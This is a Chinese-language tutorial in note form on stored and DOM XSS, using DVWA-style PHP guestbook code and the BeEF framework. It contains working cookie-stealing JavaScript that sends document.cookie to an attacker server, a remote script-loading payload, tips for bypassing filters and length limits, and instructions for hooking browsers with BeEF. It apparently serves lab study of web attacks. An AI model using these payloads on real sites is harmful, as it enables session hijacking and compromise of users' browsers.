存儲型XSS與DOM型XSS
【XSS原理】
存儲型XSS
1、可長期存儲於服務器端
2、每次用戶訪問都會被執行js腳本,攻擊者只需偵聽指定端口
#攻擊利用方法大體等於反射型xss利用
##多出現在留言板等位置
*推薦使用burpsuite
a、觀察返回結果,是否原封不動地返回輸入數據?是否有其他標簽
js代碼通過留言板存儲在服務器中,所以每次點擊留言板鏈接,都會彈出xss彈窗
b、測試加載攻擊者控制的服務器中的js文件
#啟動apache2【默認偵聽80端口】
a.js 【盜取客戶端cookie信息,並把它上傳到攻擊者控制的服務器的PHP文件】
1 var img = new Image(); 2 img.src = "http://192.168.56.102:88/cookies.php?cookie="+document.cookie;
***默認在客戶端進行長度的限制,可用burpsuite進行繞過或直接修改HTML代碼中的長度限制 【安全性好的,同時在客戶端跟服務器端進行長度限制】
<script src="http://192.168.56.102/a.js"></script>
###使用nc演示效果,偵聽88端口,提交成功/刷新頁面,即可成功獲得cookie
代碼審計 【以下代碼只是對輸入數據進行過濾】
low
1 <?php 2 3 if(isset($_POST['btnSign'])) 4 { 5 6 $message = trim($_POST['mtxMessage']); 7 $name = trim($_POST['txtName']); 8 9 // Sanitize message input 10 $message = stripslashes($message); 11 $message = mysql_real_escape_string($message); 12 13 // Sanitize name input 14 $name = mysql_real_escape_string($name); 15 16 $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');"; 17 18 $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' ); 19 20 } 21 22 ?>
medium 【Name輸入框輸出結果:還是原型,但js腳本已是普通文本(目前理想的過濾方法);Message中還存在】
1 <?php 2 3 if(isset($_POST['btnSign'])) 4 { 5 6 $message = trim($_POST['mtxMessage']); 7 $name = trim($_POST['txtName']); 8 9 // Sanitize message input 10 $message = trim(strip_tags(addslashes($message)));//addslashs():增加反斜線;strip_tags():過濾HTML標簽; 11 $message = mysql_real_escape_string($message); 12 $message = htmlspecialchars($message); //進行html編碼,<>會被編碼 13 14 // Sanitize name input 15 $name = str_replace('<script>', '', $name);//刪除<script>,********可用拆分繞過 16 $name = mysql_real_escape_string($name); 17 18 $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');"; 19 20 $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' ); 21 22 } 23 24 ?>
high
1 <?php 2 3 if(isset($_POST['btnSign'])) 4 { 5 6 $message = trim($_POST['mtxMessage']); 7 $name = trim($_POST['txtName']); 8 9 // Sanitize message input 10 $message = stripslashes($message); 11 $message = mysql_real_escape_string($message); 12 $message = htmlspecialchars($message); 13 14 // Sanitize name input 15 $name = stripslashes($name); 16 $name = mysql_real_escape_string($name); 17 $name = htmlspecialchars($name); 18 19 $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');"; 20 21 $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' ); 22 23 } 24 25 ?>
一套js和其他語言都可以調用的標准的API
#本質上跟反射型中利用src的方法一樣,只是調用的函數不一樣而已
<script> var img = document.createElement("img"); img.src = "http://192.168.56.102:88/cookies.php?cookie="+escape(document.cookie); </script>
BeEF是目前歐美最流行的web框架攻擊平台,它的全稱是 the Browser exploitation framework project。
可用於生成、交互payload【內含大量模塊,payload】
ruby編寫
服務器端:管理hooked客戶端
客戶端:運行於客戶端瀏覽器的JavaScript腳本
瀏覽器攻擊面
應用普遍轉移到B/S架構,瀏覽器成為統一客戶端程序
大部分需要結合社會工程學方法對瀏覽器進行攻擊
攻擊瀏覽器用戶
通過注入的JS腳本,利用瀏覽器攻擊其他網站
攻擊手段
利用網站xss漏洞實現攻擊
誘使客戶端訪問含有hooked的偽造站點
結合中間人攻擊注入hooked腳本
常見用途
鍵盤記錄器
網絡掃描
瀏覽器信息收集
綁定shell
與metasploit集成
a、默認登錄賬號密碼beff/beff
b、<script src="http://127.0.0.1:3000/hook.js"></script>
c、模塊
1、Browser 瀏覽器類型(可得cookie,OS等信息)
【點擊對應模塊即可使用,響應速度比較慢,綠色為適用;橙色也是可用,但是會被客戶端使用者發現;紅色可能不可用;灰色未知是否可用】
2、Exploits 漏洞利用模塊
3、Network 【可用作僵屍機】
4、Persistence 當頁面被關閉(主機未離線),仍可對hooked客戶端進行操作【持久hooked,建議當一台主機受害后,馬上進行該操作】